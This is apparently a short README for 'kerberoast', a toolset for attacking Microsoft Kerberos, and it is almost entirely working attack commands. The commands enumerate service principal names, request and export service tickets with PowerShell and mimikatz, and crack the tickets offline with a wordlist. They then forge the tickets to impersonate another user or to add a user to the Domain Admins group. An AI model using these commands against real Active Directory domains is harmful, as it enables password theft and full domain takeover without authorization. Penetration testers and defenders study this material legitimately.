Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does.
PS C:\> setspn -T medin -Q */*
One ticket:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
All the tickets
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
mimikatz # kerberos::list /export
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Make user appear to be a different user
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500
Add user to another group (in this case Domain Admin)
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512
